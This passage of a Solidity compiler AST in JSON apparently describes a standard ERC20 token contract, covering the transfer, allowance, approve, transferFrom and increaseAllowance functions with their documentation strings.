(address)"}},"id":47388,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3840:12:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3824:28:30"},{"expression":{"arguments":[{"id":47391,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47386,"src":"3872:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47392,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47377,"src":"3879:2:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47393,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47379,"src":"3883:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47390,"name":"_transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47622,"src":"3862:9:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47394,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3862:28:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47395,"nodeType":"ExpressionStatement","src":"3862:28:30"},{"expression":{"hexValue":"74727565","id":47396,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3907:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":47384,"id":47397,"nodeType":"Return","src":"3900:11:30"}]},"baseFunctions":[47906],"documentation":{"id":47375,"nodeType":"StructuredDocumentation","src":"3539:185:30","text":" @dev See {IERC20-transfer}.\n Requirements:\n - `to` cannot be the zero address.\n - the caller must have a balance of at least `amount`."},"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"3738:8:30","overrides":{"id":47381,"nodeType":"OverrideSpecifier","overrides":[],"src":"3790:8:30"},"parameters":{"id":47380,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47377,"mutability":"mutable","name":"to","nameLocation":"3755:2:30","nodeType":"VariableDeclaration","scope":47399,"src":"3747:10:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47376,"name":"address","nodeType":"ElementaryTypeName","src":"3747:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47379,"mutability":"mutable","name":"amount","nameLocation":"3767:6:30","nodeType":"VariableDeclaration","scope":47399,"src":"3759:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47378,"name":"uint256","nodeType":"ElementaryTypeName","src":"3759:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3746:28:30"},"returnParameters":{"id":47384,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47383,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47399,"src":"3808:4:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47382,"name":"bool","nodeType":"ElementaryTypeName","src":"3808:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3807:6:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":47417,"nodeType":"FunctionDefinition","src":"3976:149:30","nodes":[],"body":{"id":47416,"nodeType":"Block","src":"4074:51:30","nodes":[],"statements":[{"expression":{"baseExpression":{"baseExpression":{"id":47410,"name":"_allowances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47297,"src":"4091:11:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":47412,"indexExpression":{"id":47411,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47402,"src":"4103:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4091:18:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":47414,"indexExpression":{"id":47413,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47404,"src":"4110:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4091:27:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":47409,"id":47415,"nodeType":"Return","src":"4084:34:30"}]},"baseFunctions":[47916],"documentation":{"id":47400,"nodeType":"StructuredDocumentation","src":"3924:47:30","text":" @dev See {IERC20-allowance}."},"functionSelector":"dd62ed3e","implemented":true,"kind":"function","modifiers":[],"name":"allowance","nameLocation":"3985:9:30","overrides":{"id":47406,"nodeType":"OverrideSpecifier","overrides":[],"src":"4047:8:30"},"parameters":{"id":47405,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47402,"mutability":"mutable","name":"owner","nameLocation":"4003:5:30","nodeType":"VariableDeclaration","scope":47417,"src":"3995:13:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47401,"name":"address","nodeType":"ElementaryTypeName","src":"3995:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47404,"mutability":"mutable","name":"spender","nameLocation":"4018:7:30","nodeType":"VariableDeclaration","scope":47417,"src":"4010:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47403,"name":"address","nodeType":"ElementaryTypeName","src":"4010:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3994:32:30"},"returnParameters":{"id":47409,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47408,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47417,"src":"4065:7:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47407,"name":"uint256","nodeType":"ElementaryTypeName","src":"4065:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4064:9:30"},"scope":47861,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":47442,"nodeType":"FunctionDefinition","src":"4433:197:30","nodes":[],"body":{"id":47441,"nodeType":"Block","src":"4522:108:30","nodes":[],"statements":[{"assignments":[47429],"declarations":[{"constant":false,"id":47429,"mutability":"mutable","name":"owner","nameLocation":"4540:5:30","nodeType":"VariableDeclaration","scope":47441,"src":"4532:13:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47428,"name":"address","nodeType":"ElementaryTypeName","src":"4532:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":47432,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":47430,"name":"_msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48271,"src":"4548:10:30","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4548:12:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"4532:28:30"},{"expression":{"arguments":[{"id":47434,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47429,"src":"4579:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47435,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47420,"src":"4586:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47436,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47422,"src":"4595:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47433,"name":"_approve","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47795,"src":"4570:8:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47437,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4570:32:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47438,"nodeType":"ExpressionStatement","src":"4570:32:30"},{"expression":{"hexValue":"74727565","id":47439,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"4619:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":47427,"id":47440,"nodeType":"Return","src":"4612:11:30"}]},"baseFunctions":[47926],"documentation":{"id":47418,"nodeType":"StructuredDocumentation","src":"4131:297:30","text":" @dev See {IERC20-approve}.\n NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n `transferFrom`. This is semantically equivalent to an infinite approval.\n Requirements:\n - `spender` cannot be the zero address."},"functionSelector":"095ea7b3","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"4442:7:30","overrides":{"id":47424,"nodeType":"OverrideSpecifier","overrides":[],"src":"4498:8:30"},"parameters":{"id":47423,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47420,"mutability":"mutable","name":"spender","nameLocation":"4458:7:30","nodeType":"VariableDeclaration","scope":47442,"src":"4450:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47419,"name":"address","nodeType":"ElementaryTypeName","src":"4450:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47422,"mutability":"mutable","name":"amount","nameLocation":"4475:6:30","nodeType":"VariableDeclaration","scope":47442,"src":"4467:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47421,"name":"uint256","nodeType":"ElementaryTypeName","src":"4467:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4449:33:30"},"returnParameters":{"id":47427,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47426,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47442,"src":"4516:4:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47425,"name":"bool","nodeType":"ElementaryTypeName","src":"4516:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"4515:6:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":47475,"nodeType":"FunctionDefinition","src":"5192:286:30","nodes":[],"body":{"id":47474,"nodeType":"Block","src":"5325:153:30","nodes":[],"statements":[{"assignments":[47456],"declarations":[{"constant":false,"id":47456,"mutability":"mutable","name":"spender","nameLocation":"5343:7:30","nodeType":"VariableDeclaration","scope":47474,"src":"5335:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47455,"name":"address","nodeType":"ElementaryTypeName","src":"5335:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":47459,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":47457,"name":"_msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48271,"src":"5353:10:30","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47458,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5353:12:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"5335:30:30"},{"expression":{"arguments":[{"id":47461,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47445,"src":"5391:4:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47462,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47456,"src":"5397:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47463,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47449,"src":"5406:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47460,"name":"_spendAllowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47838,"src":"5375:15:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47464,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5375:38:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47465,"nodeType":"ExpressionStatement","src":"5375:38:30"},{"expression":{"arguments":[{"id":47467,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47445,"src":"5433:4:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47468,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47447,"src":"5439:2:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47469,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47449,"src":"5443:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47466,"name":"_transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47622,"src":"5423:9:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47470,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5423:27:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47471,"nodeType":"ExpressionStatement","src":"5423:27:30"},{"expression":{"hexValue":"74727565","id":47472,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"5467:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":47454,"id":47473,"nodeType":"Return","src":"5460:11:30"}]},"baseFunctions":[47938],"documentation":{"id":47443,"nodeType":"StructuredDocumentation","src":"4636:551:30","text":" @dev See {IERC20-transferFrom}.\n Emits an {Approval} event indicating the updated allowance. This is not\n required by the EIP. See the note at the beginning of {ERC20}.\n NOTE: Does not update the allowance if the current allowance\n is the maximum `uint256`.\n Requirements:\n - `from` and `to` cannot be the zero address.\n - `from` must have a balance of at least `amount`.\n - the caller must have allowance for ``from``'s tokens of at least\n `amount`."},"functionSelector":"23b872dd","implemented":true,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"5201:12:30","overrides":{"id":47451,"nodeType":"OverrideSpecifier","overrides":[],"src":"5301:8:30"},"parameters":{"id":47450,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47445,"mutability":"mutable","name":"from","nameLocation":"5231:4:30","nodeType":"VariableDeclaration","scope":47475,"src":"5223:12:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47444,"name":"address","nodeType":"ElementaryTypeName","src":"5223:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47447,"mutability":"mutable","name":"to","nameLocation":"5253:2:30","nodeType":"VariableDeclaration","scope":47475,"src":"5245:10:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47446,"name":"address","nodeType":"ElementaryTypeName","src":"5245:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47449,"mutability":"mutable","name":"amount","nameLocation":"5273:6:30","nodeType":"VariableDeclaration","scope":47475,"src":"5265:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47448,"name":"uint256","nodeType":"ElementaryTypeName","src":"5265:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5213:72:30"},"returnParameters":{"id":47454,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47453,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47475,"src":"5319:4:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47452,"name":"bool","nodeType":"ElementaryTypeName","src":"5319:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5318:6:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":47504,"nodeType":"FunctionDefinition","src":"5873:234:30","nodes":[],"body":{"id":47503,"nodeType":"Block","src":"5967:140:30","nodes":[],"statements":[{"assignments":[47486],"declarations":[{"constant":false,"id":47486,"mutability":"mutable","name":"owner","nameLocation":"5985:5:30","nodeType":"VariableDeclaration","scope":47503,"src":"5977:13:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47485,"name":"address","nodeType":"ElementaryTypeName","src":"5977:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":47489,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":47487,"name":"_msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48271,"src":"5993:10:30","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47488,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5993:12:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"5977:28:30"},{"expression":{"arguments":[{"id":47491,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47486,"src":"6024:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47492,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47478,"src":"6031:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47498,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":47494,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47486,"src":"6050:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47495,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47478,"src":"6057:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":47493,"name":"allowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47417,"src":"6040:9:30","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view returns (uint256)"}},"id":47496,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6040:25:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":47497,"name":"addedValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47480,"src":"6068:10:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6040:38:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47490,"name":"_approve","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47795,"src":"6015:8:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47499,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6015:64:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47500,"nodeType":"ExpressionStatement","src":"6015:64:30"},{"expression":{"hexValue":"74727565","id":47501,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"6096:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":47484,"id":47502,"nodeType":"Return","src":"6089:11:30"}]},"documentation":{"id":47476,"nodeType":"StructuredDocumentation","src":"5484:384:30","text":" @dev Atomically increases the allowance granted to `spender` by the caller.\n This is an alternative to {approve} that can be used as a mitigation for\n problems described in {IERC20-approve}.\n Emits an {Approval} event indicating the updated allowance.\n Requirements:\n - `spender` cannot be the zero address."},"functionSelector":"39509351","implemented":true,"kind":"function","modifiers":[],"name":"increaseAllowance","nameLocation":"5882:17:30","parameters":{"id":47481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47478,"mutability":"mutable","name":"spender","nameLocation":"5908:7:30","nodeType":"VariableDeclaration","scope":47504,"src":"5900:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47477,"name":"address","nodeType":"ElementaryTypeName","src":"5900:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47480,"mutability":"mutable","name":"addedValue","nameLocation":"5925:10:30","nodeType":"VariableDeclaration","scope":47504,"src":"5917:18:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47479,"name":"uint256","nodeType":"ElementaryTypeName","src":"5917:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5899:37:30"},"returnParameters":{"id":47484,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47483,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47504,"src":"5961:4:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47482,"name":"bool","nodeType":"ElementaryTypeName","src":"5961:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5960:6:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":47545,"nodeType":"FunctionDefinition","src":"6594:427:30","nodes":[],"body":{"id":47544,"nodeType":"Block","src":"6693:328:30","nodes":[],"statements":[{"assignments":[47515],"declarations":[{"constant":false,"id":47515,"mutability":"mutable","name":"owner","nameLocation":"6711:5:30","nodeType":"VariableDeclaration","scope":47544,"src":"6703:13:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47514,"name":"address","nodeType":"ElementaryTypeName","src":"6703:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":47518,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":47516,"name":"_msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48271,"src":"6719:10:30","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":47517,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6719:12:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"6703:28:30"},{"assignments":[47520],"declarations":[{"constant":false,"id":47520,"mutability":"mutable","name":"currentAllowance","nameLocation":"6749:16:30","nodeType":"VariableDeclaration","scope":47544,"src":"6741:24:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47519,"name":"uint256","nodeType":"ElementaryTypeName","src":"6741:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":47525,"initialValue":{"arguments":[{"id":47522,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47515,"src":"6778:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47523,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47507,"src":"6785:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":47521,"name":"allowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47417,"src":"6768:9:30","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view returns (uint256)"}},"id":47524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6768:25:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"6741:52:30"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47529,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47527,"name":"currentAllowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47520,"src":"6811:16:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":47528,"name":"subtractedValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47509,"src":"6831:15:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6811:35:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f","id":47530,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6848:39:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_f8b476f7d28209d77d4a4ac1fe36b9f8259aa1bb6bddfa6e89de7e51615cf8a8","typeString":"literal_string \"ERC20: decreased allowance below zero\""},"value":"ERC20: decreased allowance below 